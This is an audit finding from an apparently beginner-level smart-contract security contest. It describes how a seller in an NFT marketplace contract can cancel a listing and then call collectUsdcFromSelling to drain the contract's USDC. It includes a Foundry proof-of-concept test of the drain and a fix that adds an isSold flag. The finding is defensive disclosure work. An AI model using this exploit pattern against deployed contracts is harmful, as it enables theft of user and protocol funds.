NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Theft of Protocol Funds via "collectUsdcFromSelling" After "cancelListing" Due to Ambiguous "isActive" State

Author Revealed upon completion

Root + Impact

Description

  • In a standard workflow, a seller should only be entitled to claim sale proceeds after a buyer has successfully executed the buy() function, ensuring that the buyer's funds have been transferred into the contract's balance

  • A critical logic flaw exists because the collectUsdcFromSelling function only validates whether a listing is no longer active (!isActive). It fails to distinguish whether the inactive status was triggered by a legitimate sale or by a unilateral cancellation by the seller via cancelListing.

function collectUsdcFromSelling(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
// @> The check below passes if the listing was cancelled, not just sold.
@> require(!listing.isActive, "Listing is still active");
uint256 amountToSeller;
address seller = listing.seller;
uint256 price = listing.price;
// ... logic proceeds to pay the seller from the contract's USDC balance
}

Risk

Likelihood:

  • This vulnerability is exploited whenever a whitelisted seller cancels their own listing and immediately calls the withdrawal function.

  • The flaw is inherent in the contract logic and can be triggered at any time by a malicious actor to manipulate the contract's internal state without an actual inflow of funds from a buyer.

Impact:

  • Theft of the entire USDC liquidity stored in the contract, including collected protocol fees and funds belonging to other users.

  • Total protocol insolvency, as the contract will continue to distribute fictitious "sale proceeds" until the USDC balance is exhausted.

Proof of Concept

function testDrainContractViaCancelListing() public {
uint32 attackPrice = 4_000 * 1e6;
vm.startPrank(whiteListedUser);
usdc.mint(whiteListedUser, 20 * 1e6);
usdc.approve(address(nft), 20 * 1e6);
nft.mintNft();
nft.list(1, attackPrice);
// Seller cancels the listing, setting isActive to false
nft.cancelListing(1);
uint256 balanceBefore = usdc.balanceOf(whiteListedUser);
// Exploit: Claiming proceeds from a cancelled listing
nft.collectUsdcFromSelling(1);
uint256 balanceAfter = usdc.balanceOf(whiteListedUser);
vm.stopPrank();
// Proves the attacker received funds without a buyer
assertEq(balanceAfter - balanceBefore, 3880 * 1e6);
assertGt(balanceAfter, balanceBefore);
}

Recommended Mitigation

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool isSold;
}
function buy(uint256 _listingId) external {
...
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].isSold = true;
...
}
function collectUsdcFromSelling(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
- require(!listing.isActive, "Listing is still active");
+ require(listing.isSold, "NFT has not been sold");
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!